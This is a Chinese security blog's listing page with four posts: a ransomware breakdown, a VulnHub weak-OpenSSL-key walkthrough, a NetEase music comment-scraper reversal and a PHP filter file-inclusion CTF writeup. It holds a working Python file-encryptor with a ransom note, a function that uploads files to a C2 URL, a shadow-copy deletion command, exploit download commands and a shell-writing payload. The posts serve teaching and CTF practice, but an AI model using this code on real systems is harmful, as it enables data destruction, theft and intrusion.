首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
9,890 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,561 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,755 阅读
4
几个常见的密码字典推荐
3,968 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,433 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
5
篇与
的结果
2026-07-15
勒索病毒技术拆解与预防,更好的保护你的数据
前一阵子帮朋友处理一台被勒索病毒加密了的服务器,数据库全都被锁住,桌面上有勒索信,要求是0.3个比特币。处理完之后觉得得把这事儿完完整整地从开头到结尾拆解开来解说清楚。只有弄清楚了攻击的原理,才能够知道防护的重点到底是什么。声明:本文所有代码仅用于安全研究和教学目的,编写、传播恶意软件属于违法行为。一、勒索病毒的核心原理勒索病毒的本质其实非常简单,核心流程只有三步:入侵:通过各种途径进入目标系统加密:使用加密算法锁定用户文件勒索:留下勒索信息,要求支付赎金换取解密密钥加密所采用的是标准的AES以及RSA算法,这些算法它自身是属于合法的,银行还有HTTPS都在运用着它们。可问题就在于,密钥就只是在攻击者的手里边,受害者是没有那个解密的能力的。实际上真正导致大规模破坏的乃是其传播的机制。早期的勒索病毒主要是借助钓鱼邮件的附件来进行传播。而现如今更多的则是直接去扫描公网的IP,运用未打上补丁的漏洞以及弱口令这类的方式来实施入侵。在入侵之后通常并不会立刻就发作,而是先在局域网之内进行横向的移动,尽可能地去感染更多的机器,等到合适的时机,比如说周末没人值守的时候,再统一地去执行加密操作。我遇到了一个典型的情况。病毒是在周五晚上的时候侵入进来的,它潜伏隐藏了有两天,直到周一早上全公司开启计算机的时候才触发了加密操作。就连备份服务器都被加密,这是因为备份硬盘一直是挂接在服务器上面的,结果被病毒一块儿给搞了。二、常见勒索病毒类型分析1. 经典加密型(Crypto Ransomware)这乃是极为基础且颇为常见之类型。存在比如WannaCry、Locky、CryptoLocker这类代表家族。其特点可是十分简单直接:入侵之后便会去遍历磁盘,对文档、图片、数据库、压缩包等用户文件实施AES加密,还会去修改文件后缀名,然后就在每个目录里面放置勒索信。这类病毒其技术层面的门槛是比较低的。但是它的破坏能力却是十分强大的。这是因为它所采用的加密运用的是已经成熟了的标准算法。要是密钥处理得不错的话,在不存在私钥的时候,从理论上来说是没有办法去进行解密的。2. 双重勒索型(Double Extortion)近些年来很流行这样的一种模式。有像Conti、REvil、DarkSide等这样的家族来代表着它。它比那单纯的加密可要厉害得多。在对文件进行加密之前,先把比如商业机密、客户信息、财务数据等这类敏感的数据神不知鬼不觉地就上传到攻击者的服务器,然后再去执行本地的加密操作。这也就意味着,就算你拥有完整的备份从而能够恢复数据,但是攻击者依旧还是有可能会对泄露你的数据进行威胁,并且拿这个事情来进行施压让你支付赎金。有不少企业因为害怕数据泄露会影响到商誉或者遭遇到合规方面的处罚,只能够依从(攻击者的要求)。而后甚至发展成为三重勒索的情况,既对泄露数据进行威胁,又会发动DDoS攻击,还会去通知客户或者监管机构。3. 蠕虫传播型(Worm-style)代表的是WannaCry以及NotPetya这类病毒。这类病毒存在着一个最大的特点,那就是能够自己进行复制并且还能够主动地进行传播,不需要用户去点击什么东西。WannaCry所利用的是NSA所泄露出来的EternalBlue(永恒之蓝)漏洞,它针对Windows SMB协议的445端口来发起攻击,能够在局域网里面自动地进行扫描、自动地进行入侵、自动地进行传播,没过几个小时就能够把一个机构的所有机器都给感染了 。这类病毒发作起来的速度是极其迅速的。要是你察觉到有机器遭受到了感染,到那个时候常常整个内部网络已经大面积地被感染了。4. 勒索即服务(RaaS, Ransomware as a Service)当下黑产的主流运营模式便是这般,LockBit、BlackCat/ALPHV、Play等便是其代表。技术团队开发好了勒索病毒的整套工具,这里边包含生成器、C2面板、解密工具、数据泄露网站。之后招募加盟攻击者也就是affiliates。加盟攻击者不需要懂得技术,只要能够获取到目标网络的权限,就可以拿现成的病毒去进行攻击,赎金按照比例来进行分成。RaaS模式使得勒索攻击的门槛变得极其之低,这便是近些年来勒索事件呈现出爆发式增长的关键缘故所在。5. 定向攻击型(Big Game Hunting)这类针对大型企业、医院、政府机关、关键基础设置等具有高价值的目标所实施的攻击行为,并非是进行广泛范围的扫描,而是有着明确的目标指向。会花费数周乃至数月的时间去进行侦察活动,对目标网络的拓扑结构、域环境状况以及备份策略等进行研究,甚至会首先对备份系统进行破坏,在确认一切准备就绪之后才发起攻击行动,像Colonial Pipeline输油管道被攻击就是一个典型的示例。三、技术实现拆解(教育目的)想要去理解防护方面的逻辑,那我们就来瞧一瞧一个最为简单的概念演示情况。这是一个仅仅是为了理解原理的玩具性质的版本,只是对特定目录进行加密处理,不进行传播行为、不连接网络、不执行删除备份的操作,在运行之后密钥就直接被打印出来。基础加密型演示我们用Python的cryptography库来演示,Fernet是一个封装好的对称加密库,使用AES-CBC模式:import os from cryptography.fernet import Fernet def generate_key(): """生成加密密钥""" return Fernet.generate_key() def encrypt_file(file_path, key): """加密单个文件""" f = Fernet(key) with open(file_path, 'rb') as file: original_data = file.read() encrypted_data = f.encrypt(original_data) # 写入加密后的文件 with open(file_path + '.locked', 'wb') as encrypted_file: encrypted_file.write(encrypted_data) # 删除原文件 os.remove(file_path) def decrypt_file(file_path, key): """解密单个文件""" f = Fernet(key) with open(file_path, 'rb') as file: encrypted_data = file.read() decrypted_data = f.decrypt(encrypted_data) original_path = file_path.replace('.locked', '') with open(original_path, 'wb') as decrypted_file: decrypted_file.write(decrypted_data) os.remove(file_path) if __name__ == '__main__': key = generate_key() target_dir = './test_files' print(f"密钥(丢失则无法恢复): {key.decode()}") # 递归遍历所有子目录 for root, dirs, files in os.walk(target_dir): for filename in files: if filename.endswith('.locked'): continue file_path = os.path.join(root, filename) encrypt_file(file_path, key) print(f"已加密: {file_path}") with open(os.path.join(target_dir, 'README_RESTORE.txt'), 'w') as note: note.write("你的文件已被加密。\n") note.write("支付xxx比特币到钱包地址xxx以获取解密工具。\n")测试看看加密当前目录下的test_files他的文件后缀全部变成了 locked,如果没有密匙文件,是无法解密的随后留下一个文本,让你支付比特币这个版本不到50行代码,但你可以看出它和真正勒索病毒的差距:密钥管理这一块,玩具版是在本地生成密钥,在运行的时候就直接给打印出来。而真实的勒索病毒,是把RSA公钥硬编码在病毒里头,在本地随机生成AES密钥去加密文件,接着用RSA公钥把AES密钥加密之后发送到C2服务器。私钥就只在攻击者的服务器那边,逆向病毒也是没办法拿到的。玩具版的遍历范围乃是仅仅对指定的test_files目录进行加密。而真实的病毒会去遍历所有的盘符,比如本地磁盘、网络共享盘、U盘,甚至于云盘同步目录都会进行遍历。并且真实的病毒会有选择性地去加密用户的文件,像是文档、数据库、图片这类,它不会去触碰系统文件,因为要是系统文件被加密从而导致系统无法启动了,那就没有人会支付赎金了。反恢复之手段:真实的病毒会做出如下这些行径,运用vssadmin delete shadows /all /quiet来删除卷影副本,禁用系统之还原功能,停止备份服务,并且还会将Windows备份目录予以删除 。对抗分析这一块,存在有加壳这样的操作,还有反调试的手段,反沙箱的措施,检测虚拟机环境的状况,以及延迟执行的状况,比如说等待好几个小时才开始加密,通过这样的方式来绕过沙箱的动态分析时间窗口。双重勒索的额外步骤双重勒索只是在加密之前增加一个数据外传的环节:import requests def exfiltrate_file(file_path, c2_url): """外传文件到C2服务器""" # 只外传小于某个阈值的重要文件,避免大文件传输太慢被发现 if os.path.getsize(file_path) < 10 * 1024 * 1024: # 小于10MB with open(file_path, 'rb') as f: files = {'file': (os.path.basename(file_path), f)} try: requests.post(c2_url, files=files, timeout=10) except: pass # 外传失败不影响加密流程在那真实的环境状况之中,最先将会去开展压缩的操作,随后会去开展分块传输的相关动作,并且还会借助加密代理又或者是Tor网络来把C2地址给隐藏起来 。蠕虫传播的核心逻辑在蠕虫传播的相关情况里,存在着一部分技术含量比较高的内容。其核心之处在于漏洞的利用。就以永恒之蓝这个例子来讲,需要去构造特殊的SMB请求包,然后将这个构造好的SMB请求包发送到目标的445端口。当触发了漏洞之后就会执行shellcode,随后就去下载病毒的本体来进行执行。而这一部分并没有稳定且通用的代码可以用来进行演示,这是因为漏洞的利用和系统的版本、补丁的状态是紧密相关联的。这便是RaaS模式可以获取利益的缘由所在。去编写一个稳定的漏洞利用exp是需要具备极为强大的技术能力的。一般的攻击者是没办法弄出这类exp的。那么他们就只能够去购买相关的服务。真实病毒还会做的事停止数据库服务(SQL Server、MySQL、Oracle等),因为数据库文件运行时被占用,加密不了删除Windows事件日志,清除入侵痕迹修改注册表实现开机自启关闭或杀掉杀毒软件进程清除系统还原点和备份枚举局域网共享和域内机器,进行横向移动遍历RDP连接记录和保存的凭据,扩大感染范围四、企业防护方案我从事安全工作已经有了一些时日。我察觉到这么一个状况,众多企业出现问题,并非是由于某些高深的零日漏洞相关的原因,而是跌倒在了极为基础的问题之上。举例而言没有打上补丁、存在弱口令、备份盘始终处于连接状态、端口通通暴露在公共网络之上。防护,简单来说就是那么一些个事情,但是真正能够把这些个事情切实做到位的企业那可真是没多少。1. 备份是最后一道防线这是唯一能让你在被加密后不需要付赎金的方案。但备份有几个关键原则:3 - 2 - 1备份准则所指的是,需要起码有3份数据的副本。这些副本得存储在2种不同的介质之上。并且其中要有1份要处于离线状态或者存放在异地。离线的意思就是在物理层面上相互隔离,并非是那种处于公司内网里的另一台服务器,借助内网横向移动就可以把它一同进行加密的这种情形。备份的磁盘不可以一直处于挂载的状态。有很多人将移动硬盘插到服务器上面来进行备份操作,结果在病毒进行加密的时候连备份的磁盘一块儿给加密了。正确的做法是在备份完成之后把连接断开,要不然就使用备份软件的一次性挂载的功能。定期去进行恢复方面的演练是十分重要的。存在着许多这样的事例,有备份的情况,但是当真正到了需要进行恢复的时候,却发现备份已经损坏了、版本也不对头,而且备份软件还没有人会使用。所以仅仅做完备份是远远不够的,还得定期去测试是否能够顺利恢复才行。云服务器需要开启快照功能。云快照是存储在云厂商所提供的对象存储之中的,它和你的实例是相互分离的状态,病毒是没有办法接触到它的。你可以去设置自动快照的策略,每天开展快照操作,保留的时间为7到30天。倘若出现问题了,一键进行回滚操作,要比重装恢复快上很多。2. 堵住入侵入口大多数攻击就从这几个地方进来:关于RDP/SSH出现暴力破解这种情况的话:不要采用密码来进行登录,而是应该运用密钥。不要直接把3389、22端口暴露在公共的网络上面,要么对默认的端口进行更改,要么设置IP白名单只准许公司的IP来进行访问,最为好的方式是通过VPN或者跳板机去进行访问。钓鱼邮件这种情况,人是比较容易出现问题的所在。是得去开展安全培训,不过仅仅依靠培训可还是不够的。在技术方面是要用上邮件网关,来过滤可执行附件、恶意链接以及宏文档。Office的宏默认是处于关闭的状态,可别随随便便就去启用它。漏洞补丁相关状况:在WannaCry爆发的时候,补丁已经发布两个月了。必须去构建补丁管理方面的流程,关键的安全补丁得及时地进行打上,可千万不能拖拖拉拉的。特别是针对面向公网的系统而言,漏洞公开之后,在24小时之内就很有可能会被大规模地进行扫描利用。当扫描器进行扫描的时候,能够发现比如Redis没有密码、数据库存在弱口令、后台有admin/admin这样的情形、还有SMB匿名访问等方面的问题。必须要定期开展内部的弱口令扫描工作。所有的服务都得设置成强密码,并且还要关闭掉不必要的默认账号。3. 最小权限和网络隔离在日常进行运维操作的时候,不要去使用root或者管理员这类的账号。业务程序得用普通用户的权限来进行运行。要把Web目录的权限给设置妥当,不要给予很多没有必要的写权限。有很多的webshell能够获取到权限,就是因为Web目录的权限太大了,直接就可以去修改文件、添加计划任务。服务器仅仅只是用于运行网站而已,那么445 SMB端口没有必要处于开启的状态,135 RPC端口也没有必要处于开启的状态,3389端口同样也没有必要处于开启的状态。得采用最小化安装的这种方式,仅仅开启很多需要用到的端口以及服务。办公网络、业务服务器区域、数据库区域、管理区域之间需要进行ACL访问控制操作。不可以让整个内网全部都能够互相通信,如果一台办公计算机感染了病毒,那么就有可能直接去访问数据库服务器。服务器彼此之间也不要全部都能够互相通信,Web服务器只可以访问它所需要的数据库端口,其余的都得予以拒绝。服务器以及办公电脑都必须去安装EDR或者是杀毒软件,可不要不安装软件就直接去使用。当下的EDR能够检测到勒索行为,要是发现有进程在进行批量加密文件的操作,它便能够直接进行阻止。4. 云服务器特别注意接触过很多中小团队用云服务器,几个坑反复踩:在安全组配置这一块的情况来讲,有相当多的人在购买了服务器之后,安全组默认是处于完全开放的状态就不再去进行理会了。实际上安全组只应当开放必要的端口,像是80和443端口开着就可以。而对于数据库端口,比如说3306、6379、5432这类的,绝对不可以对公网进行开放,只能够允许内网来进行访问。云控制台必须要确保安全。服务器的密码应当足够强,而云控制台的密码则需要更为强大才行。并且还要开启MFA双因素认证。假如控制台被登录了,那么对方不需要去破解你的服务器,直接就在控制台能够卸载你的云盘,之后把它挂载到他自己的机器上读取数据。必须得开启自动快照这个功能。云厂商所赠送的这个自动快照如同后悔药一般。自动快照的成本是相当低的。快照的费用可比赎金便宜好多。得去设置自动快照的策略,可别等到想起来了再手动去进行拍摄。选云服务器的时候,可不要仅仅把目光聚焦在CPU和内存的价格上面。得去查看一下快照是如何进行收费的,安全组到底好不好用,有没有基础的DDoS防护,售后能不能够联系得到人。这些平常看起来好像没什么用处的东西,可是真的出现问题的时候,那可就是能够起到救命作用的东西。现在
2026年07月15日
223 阅读
0 评论
0 点赞
2025-07-06
W34KN3SS,通过openssl漏洞公匙获取私匙
下载地址:https://www.vulnhub.com/entry/w34kn3ss-1,270/使用nmap进行端口扫描将这个域名,追加到hosts(本机也要追加C:\Windows\System32\drivers\etc\hosts)这个靶机中是有两个web的,一个web是用ip访问的一个web是用域名访问的,所以也需要注意,仔细观察这个n30可能是一个有用的信息目录扫描出来的一个结果,包含了一个公匙和一个版本文件查看公匙文件这个提示信息,表示的是刚刚那个.pub文件是由openssl 0.9.8c-1生成的使用searchsploit检索漏洞库我们查看第一个txt漏洞描述根据他的描述,我们下载这个文件wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/5622.tar.bz2tar -jxvf 5622.tar.bz2开始对比公匙和密匙,将root@targetcluster前面的东西拿出来进行对比尝试直接登录目录靶机,用户名是什么呢?目前得知的结果就是刚开始找到的那个n30,只能使用这个进行测试了ssh -i rsa/2048/4161de56829de2fe64b9055711f531c1-2537 n30@weakness.jth用最近爆出来CVE-2025-32463试试提权相关的学习文章:https://www.freebuf.com/articles/vuls/437488.htmlgit clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.gitzip -r exp.zip CVE-2025-32463_chwoot本来想要使用最新的提权漏洞的,但是这里没有Docker命令,就利用不了了完整使用方法(仅作介绍)# 2 – build and run Docker image (tagged "sudo-chwoot")$ ./run.sh# 3 – run exploit in container (drops you into a root shell)pwn@0da3726bd81f:~$ ./sudo-chwoot.shwoot!root@0da3726bd81f:/# iduid=0(root) gid=0(root) groups=0(root),1001(pwn)继续信息收集(搜集了一圈也没有什么可以利用的),只有这个code这个可执行文件我们并不知道是什么,执行file命令查看文件类型属于py文件我们找到网上在线pyc反编译工具,放入进行反编译后查看内容(在放入反编译前要先将code文件改成code.pyc文件)https://tool.lu/pyc/得到n30用户的密码dMASDNB!!#B!#!#33至此靶机完成
2025年07月06日
1,578 阅读
0 评论
0 点赞
2025-05-18
python爬虫,网易云js逆向代码分析
前言本文章中所有内容仅供学习交流,严禁用于商业用途和非法用途,否则由此产生的一切后果均与文章作者无关,若有侵权,请联系我立即删除!阅读本篇文章,需要一定的爬虫基础,和js逆向思维,否则无法继续首先找到一个歌单找到这个api接口api传参为这两个找到启动器发现这两个参数和刚刚api接口是一模一样的,那么大概率源码就在这里打断点,分析加密参数刷新页面,已经卡在这里了分析每个api参数X1x为后端api地址i1x为csrf_tokene1x为请求方式,该值为post我们的目标是抓取歌单评论信息,一直放行,直到这个接口分析这个参数,如下分析rid:A_PL_0_3865036,这后面的就是歌单id,threadId:A_PL_0_3865036,后面也是歌单id信息,后面的参数基本没用了,页面大小,偏移量和歌单属性那么就可以得到python代码向后端传的参数为这个def get_data(): id=3865036 # 歌单id url = "https://music.163.com/weapi/comment/resource/comments/get" data = { 'csrf_token': "", "cursor": "-1", # 0为精彩评论,-1为最新评论 "offset": "0", "orderType": "1", "pageNo": "1", "pageSize": "20", "rid": f"A_PL_0_{id}", "threadId": f"A_PL_0_{id}" } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36' } resp = requests.post(url, data=data, headers=headers) print(resp.text) 但是呢没有任何响应结果,说明参数加密了 对比源参数即可看到,这些值都是乱码,显然是进行了加密的那么就要找js的加密节点,怎么找?回到这个界面把这段代码复制下来仔细分析var bVi3x = window.asrsea(JSON.stringify(i1x), bse0x(["流泪", "强"]), bse0x(Qu1x.md), bse0x(["爱心", "女孩", "惊恐", "大笑"])); 分别对应如下值这里我们就得到了每个参数的值使用变量进行替换# 服务于函数d g = "0CoJUm6Qyw8W8jud" # bse0x(["爱心", "女孩", "惊恐", "大笑"]) f = "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7" e = "010001" # bse0x(["流泪", "强"]) 再放行,找到加密节点鼠标移动到这里,即可看到,使用了一个方法,方法名称叫 d即可看到这样一串代码贴上源码!function() { function a(a) { var d, e, b = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", c = ""; for (d = 0; a > d; d += 1) e = Math.random() * b.length, e = Math.floor(e), c += b.charAt(e); return c } function b(a, b) { var c = CryptoJS.enc.Utf8.parse(b) , d = CryptoJS.enc.Utf8.parse("0102030405060708") // AES加密算法中需要的偏移量 , e = CryptoJS.enc.Utf8.parse(a) , f = CryptoJS.AES.encrypt(e, c, { iv: d, mode: CryptoJS.mode.CBC }); return f.toString() } function c(a, b, c) { var d, e; return setMaxDigits(131), d = new RSAKeyPair(b,"",c), e = encryptedString(d, a) } function d(d, e, f, g) { var h = {} , i = a(16); return h.encText = b(d, g), h.encText = b(h.encText, i), h.encSecKey = c(i, e, f), h } function e(a, b, d, e) { var f = {}; return f.encText = c(a + e, b, d), f } window.asrsea = d, window.ecnonasr = e }(); 仔细分析AES加密特征,打断点放行打印这些值此时即可得到参数 i ,如果你多次执行就会发现这个 i 值是变化的,调用的是a函数传了个16a 函数这就是一个随机计算结果,可以直接定死而 i 已经定死了,i = "2l8EuJuvLirixMmc" ,这里我执行了第二遍,就用我第二遍的 i 值,得到了已有的值g = "0CoJUm6Qyw8W8jud" # bse0x(["爱心", "女孩", "惊恐", "大笑"]) f = "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7" e = "010001" # bse0x(["流泪", "强"]) i = "2l8EuJuvLirixMmc" # 手动固定,函数中是随机的 偏移量之前已经在js代码的b函数找到了,这张图就可以很清楚的看到解密后的值就是 h.encText 的值发现这个函数是RSA加密,我们已经得到了这个值,由上图可以看到,i 值为偏移量,e为 010001,f 未知,那么就先放一放查看这个参数,断点记得放行查看值这样就能得到encSecKey的值,分析得到python逆向代码def get_encSecKey(): # 由于i是固定的,所以经过c函数输出的encSecKey也是固定的 return "288bca7fd6e42e24d4549f155b4eb6317ba323b914c9ee8aaccb786cabcd27773aea34d9413b8902f3a1a86e50863cec7e1f872092585cddd432951f210ae078e2f2c6b486c83c210820d5c09c73e2d3f225401ce1f5543f7a6f903c7bdc65b8ea27894c0299f52d801f05aaa6ec61e34082bec0135b9c74dabcabd1e1dba1ab" # 把参数进行加密,相当于 def get_params(data): # 默认收到的是字符串 first = enc_paramas(data, g) # 第一次加密,再将第二次结果与i一起加密 second = enc_paramas(first, i) # 第二次加密 return second # 返回的就是paramas # 将数据长度转化为16的倍数, 为下面加密服务 def to_16(data): # pad = 16 - len(data) % 16 data += chr(pad) * pad return data def enc_paramas(data, key): # 相当于js中的b(a, b)函数 iv = "0102030405060708" # AES加密算法中需要的偏移量 data = to_16(data) aes = AES.new(key=key.encode('utf-8'), IV=iv.encode('utf-8'), mode=AES.MODE_CBC) # 创建加密器 bs = aes.encrypt(data.encode('utf-8')) # 加密,加密的长度必须是16的倍数,”123456789abcchr(4)chr(4)chr(4)chr(4)" return str(b64encode(bs), "utf-8") # 转化成字符串 此时将刚刚没有任何结果的代码进行传参即可,半成品代码如下import json from base64 import b64encode from Crypto.Cipher import AES # pip install pycryptodome import requests # 设置好已知的值 g = "0CoJUm6Qyw8W8jud" # bse0x(["爱心", "女孩", "惊恐", "大笑"]) f = "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7" e = "010001" # bse0x(["流泪", "强"]) i = "2l8EuJuvLirixMmc" # 手动固定,函数中是随机的 def get_data(): id=3865036 # 歌单id url = "https://music.163.com/weapi/comment/resource/comments/get" data = { 'csrf_token': "", "cursor": "-1", # 0为精彩评论,-1为最新评论 "offset": "0", "orderType": "1", "pageNo": "1", "pageSize": "20", "rid": f"A_PL_0_{id}", "threadId": f"A_PL_0_{id}" } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36' } resp = requests.post(url, data={ "params": get_params(json.dumps(data)), # 通过函数的加密得到服务器需要的params参数 "encSecKey": get_encSecKey() }, headers=headers) print(resp.text) if __name__ == '__main__': get_data() 完整数据清洗后的代码import random import json from base64 import b64encode from Crypto.Cipher import AES # pip install pycryptodome import requests # 服务于函数d g = "0CoJUm6Qyw8W8jud" f = "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7" e = "010001" i = "2l8EuJuvLirixMmc" # 手动固定,函数中是随机的 def get_encSecKey(): # 由于i是固定的,所以经过c函数输出的encSecKey也是固定的 return "288bca7fd6e42e24d4549f155b4eb6317ba323b914c9ee8aaccb786cabcd27773aea34d9413b8902f3a1a86e50863cec7e1f872092585cddd432951f210ae078e2f2c6b486c83c210820d5c09c73e2d3f225401ce1f5543f7a6f903c7bdc65b8ea27894c0299f52d801f05aaa6ec61e34082bec0135b9c74dabcabd1e1dba1ab" # 把参数进行加密 def get_params(data): # 默认收到的是字符串 first = enc_paramas(data, g) # 第一次加密,再将第二次结果与i一起加密 second = enc_paramas(first, i) # 第二次加密 return second # 返回的就是paramas # 将数据长度转化为16的倍数, 为下面加密服务 def to_16(data): pad = 16 - len(data) % 16 data += chr(pad) * pad return data def enc_paramas(data, key): iv = "0102030405060708" # AES加密算法中需要的偏移量 data = to_16(data) aes = AES.new(key=key.encode('utf-8'), IV=iv.encode('utf-8'), mode=AES.MODE_CBC) # 创建加密器 bs = aes.encrypt(data.encode('utf-8')) # 加密,加密的长度必须是16的倍数,”123456789abcchr(4)chr(4)chr(4)chr(4)" return str(b64encode(bs), "utf-8") # 转化成字符串 def get_data(): id=3865036 # 歌单id url = "https://music.163.com/weapi/comment/resource/comments/get" data = { 'csrf_token': "", "cursor": "-1", # 0为精彩评论,-1为最新评论 "offset": "0", "orderType": "1", "pageNo": "1", "pageSize": "20", "rid": f"A_PL_0_{id}", "threadId": f"A_PL_0_{id}" } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36' } resp = requests.post(url, data={ "params": get_params(json.dumps(data)), # 通过函数的加密得到服务器需要的params参数 "encSecKey": get_encSecKey() }, headers=headers) print(resp.text) dict = json.loads(resp.text) # 将得到的内容转化为字典模式 user_obj = dict['data']['hotComments'] comment_data = [] comment_sum = dict['data']['totalCount'] if not user_obj: user_obj = dict['data']['comments'] for _ in user_obj: content = _['content'] nickname = _['user']['nickname'] photo = _['user']['avatarUrl'] timeStr = _['timeStr'] like_count = _['likedCount'] addres = _['ipLocation']['location'] list = { 'nickname': nickname, 'content': content, 'photo': photo, 'timeStr': timeStr, 'addres': addres, 'like_count': like_count, 'com_count': comment_sum } comment_data.append(list) print(comment_data) if __name__ == '__main__': get_data() 得到评论结果其他api接口也是如此,还可以搞一个扫码登录的,下面是我23年8月写的项目项目推荐这是我写的一个完整的爬虫django项目,集成了网易云扫码登录,歌单信息,歌曲/歌单评论,歌单收藏,歌曲播放等等运用了aiohttp异步爬虫,requests库,IP池,线程池,redis,中间件mysql数据库,等等等等,项目仅供学习使用,严禁商业用途!!!!记得点个关注,感谢扫码登录网易云首页我的首页歌单列表源列表评论歌曲播放效果。。。。。。。总结本文章中所有内容仅供学习交流,严禁用于商业用途和非法用途,否则由此产生的一切后果均与文章作者无关,若有侵权,请联系我立即删除!,重要的事儿说三遍!!!
2025年05月18日
1,317 阅读
0 评论
0 点赞
2025-05-18
文件包含_PHP filter伪协议利用方式
前言本文主要讲解php filter伪协议,文件包含漏洞php://filter伪协议是PHP中独有的一种协议,它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64编码处理、rot13处理等。php://filter伪协议主要用于一体式(all-in-one)的文件函数,如readfile()、file()、file_get_contents()等,这些函数在数据流内容读取之前没有机会应用其他过滤器,而php://filter伪协议则可以在读取或写入数据时对数据进行过滤处理。基本语法php://filter伪协议的基本语法如下:php://filter/<action>/resource=<待过滤的数据流><action>:表示要对数据执行的过滤操作,如读取(read)、转换编码(convert)或字符串操作(string)等。<待过滤的数据流>:通常是要读取或写入的文件路径或URL。过滤器分类php://filter伪协议支持的过滤器主要分为以下几类:字符串过滤器:以string开头,对数据进行字符串处理,如rot13、toupper、tolower、strip_tags等。string.rot13:使用当前字母在字母表后第13个字母替换当前字母。string.toupper、string.tolower:将字符串转换为大写或小写。string.strip_tags:去除字符串中的HTML、XML和PHP标签。转换过滤器:以convert开头,对数据进行编码转换,如base64编码、解码,quoted-printable编码、解码,iconv字符编码转换等。convert.base64-encode/decode:对数据进行Base64编码或解码。convert.quoted-printable-encode/decode:对数据进行Quoted-Printable编码或解码。convert.iconv..:对字符串进行字符编码转换。压缩过滤器:如zlib.deflate(压缩)、zlib.inflate(解压)、bzip2.compress(压缩)、bzip2.decompress(解压)等。加密过滤器:如mcrypt.、mdecrypt.等,用于数据的加密和解密。使用示例以下是一些使用php://filter伪协议的例子:读取文件并进行Base64编码:php复制代码 echo file_get_contents("php://filter/convert.base64-encode/resource=index.php");这行代码会读取index.php文件的内容,并将其进行Base64编码后输出。写入文件并进行Base64解码:php复制代码 file_put_contents("php://filter/write=convert.base64-decode/resource=shell.php", base64_encode("<?php phpinfo(); ?>"));这行代码会将Base64编码的字符串写入shell.php文件,并在写入前进行Base64解码,最终shell.php文件中将包含原始的<?php phpinfo(); ?>代码。注意事项在使用php://filter伪协议时,需要注意过滤器的选择和数据流的指定,以确保数据的正确处理和安全性。在某些环境下,出于安全考虑,可能会对php://filter伪协议的使用进行限制或禁用。靶场复现实战之前,请大佬来吃瓜题1题目ctfshow这里我们的练习题目是,ctfshow的web87,分析源码,file_put_contents函数,将$content的内容(前面附加了一段PHP代码<?php die('大佬别秀了');?>)写入到URL解码后的$file指定的文件中。这段附加的PHP代码会在文件被包含或执行时显示"大佬别秀了"这里,我们可以将我们的payload和这段die代码,对他进行base64编码,发现都是乱码如果我们在base64编码前面加几个字符呢,我们的php一句话木马就可以直接读出来了我们将他复制到这里,进行传参绕过方式参考:全编码工具推荐棱角社区的https://forum.ywhack.com/coding.php首先将我们的payload进行全编码然后再使用ur编码对目标文件进行传参?file=【你的payload】此时我们去访问我们上传的php代码,文件列表已经列出来了找到源码题2ctfshow的练习web116提示只有这一个视频查看源码也没发现什么东西那就从文件下手我们拿010编辑器看文件尾部,发现是一个图片结束的16进制的图片文件图片进制表这里我们查找有没有png的内容找到指定选项从这里开始一直到最后,把他复制下来新建一个文本文件粘贴保存png图片发现是源代码,检查过滤协议发现file和php协议没有过滤,抓包即可,php协议测试file协议测试
2025年05月18日
1,603 阅读
0 评论
0 点赞
2025-05-18
CTF-OS,一个专门为CTF设计的操作系统
